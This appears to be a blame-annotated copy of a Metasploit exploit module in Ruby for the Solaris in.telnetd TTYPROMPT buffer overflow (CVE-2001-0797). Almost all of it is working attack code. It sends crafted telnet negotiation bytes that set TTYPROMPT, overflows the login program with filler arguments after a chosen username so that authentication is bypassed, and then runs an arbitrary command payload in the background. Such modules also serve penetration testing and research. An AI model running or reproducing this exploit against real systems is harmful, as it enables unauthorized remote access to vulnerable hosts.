2007-02-18 00:10:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module uses a buffer overflow in the Solaris 'login'
|
|
|
|
application to bypass authentication in the telnet daemon.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC', 'cazz' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2001-0797'],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '690'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '5531'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ solaris unix },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2000,
|
|
|
|
'BadChars' => '',
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Automatic', { }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 18 2002',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(23),
|
|
|
|
OptString.new('USER', [ true, "The username to use", "bin" ]),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
banner = sock.get_once
|
|
|
|
|
|
|
|
print_status('Setting TTYPROMPT...')
|
|
|
|
|
|
|
|
req =
|
|
|
|
"\xff\xfc\x18" +
|
|
|
|
"\xff\xfc\x1f" +
|
|
|
|
"\xff\xfc\x21" +
|
|
|
|
"\xff\xfc\x23" +
|
|
|
|
"\xff\xfb\x22" +
|
|
|
|
"\xff\xfc\x24" +
|
|
|
|
"\xff\xfb\x27" +
|
|
|
|
"\xff\xfb\x00" +
|
|
|
|
"\xff\xfa\x27\x00" +
|
|
|
|
"\x00TTYPROMPT" +
|
|
|
|
"\x01" +
|
|
|
|
rand_text_alphanumeric(6) +
|
|
|
|
"\xff\xf0"
|
|
|
|
|
|
|
|
sock.put(req)
|
|
|
|
select(nil,nil,nil,0.25)
|
|
|
|
|
|
|
|
print_status('Sending username...')
|
|
|
|
|
|
|
|
filler = rand_text_alpha(rand(10) + 1)
|
|
|
|
|
|
|
|
req << datastore['USER'] + (" #{filler}" * 65)
|
|
|
|
|
|
|
|
sock.put(req + "\n\n\n")
|
|
|
|
|
|
|
|
select(nil,nil,nil,0.25)
|
|
|
|
sock.get_once
|
|
|
|
|
|
|
|
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
|
|
|
|
|
|
|
|
select(nil,nil,nil,0.25)
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
2009-07-21 15:20:35 +00:00
|
|
|
end
|